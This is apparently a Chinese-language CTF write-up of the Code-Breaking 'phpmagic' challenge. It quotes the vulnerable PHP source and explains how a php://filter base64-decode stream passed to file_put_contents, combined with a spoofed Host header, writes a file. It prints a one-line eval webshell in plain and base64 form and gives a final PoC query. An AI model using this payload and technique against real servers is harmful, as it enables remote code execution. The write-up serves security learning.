使用php://filter/write=convert.base64-decode/resource=s_s.php写文件(file_put_contents的情况),写入base64编码凑4的倍数搞掉文件开头的固有字符
继续跟着p神学代码审计,今天学codebreaking中的phpmagic这道题,先放上源码:
<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <?php
if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?>
分析一下创建的目录情况:./data/可控md5值/,然后chdir进入这个目录。
定义两个变量$domain和$log_name,$log_name最后的值为$_SERVER['SERVER_NAME'].$log_name,注意这个点是连接两个字符串。(后续使用php为协议的时候要抓包把host设为php,传参的时候log=://filter/write=convert.base64-decode/resource=s_s.php/. 拼接起来就是php://filter/write=convert.base64-decode/resource=s_s.php/.)
再来看一下命令执行部分:完整的命令是dig -t -A -q escapeshellarg($domain),执行结果进行htmlspecialchars编码后写入$log_name文件。最后为了方便还把$output输出到了网页。
解法思路:
只要是传filename的地方,基本都可以传协议流。而file_put_contents
的第一个参数显然就是传filename
的地方,那么试试可不可以利用php伪协议?就像这样:php://filter/write=convert.base64-decode/resource=s_s.php,因为有base64解码的存在,根本不用管前面的。
首先我们来尝试写一个shell进入,内容是<?php @eval($_GET["cmd"]);?>
,base64加密之后是PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==
,然后输入base64编码之后的内容,得到结果如下:
先看执行了这个dig命令会返回些什么?打开终端执行dig -t A -q PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==
,返回了一大堆东西,是多行的,使用php://filter伪协议对多行内容进行base64.decode的话,应该是值解密第一行,第一行有前面几个字符和输入的base64字符串组成。凑成4的倍数就行了。
众所周知,base64编码中只包含64个可打印字符(26个大写字母、26个小写字母、10个数字、+号和/号),而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。 所以,一个正常的base64_decode实际上可以理解为如下两个步骤: <?php $_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); base64_decode($_GET['txt']);
最终poc(不考虑host的情况): ?domain=php://filter/write=convert.base64-decode/resource=s_s.php&log=(凑4的倍数的字符)PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==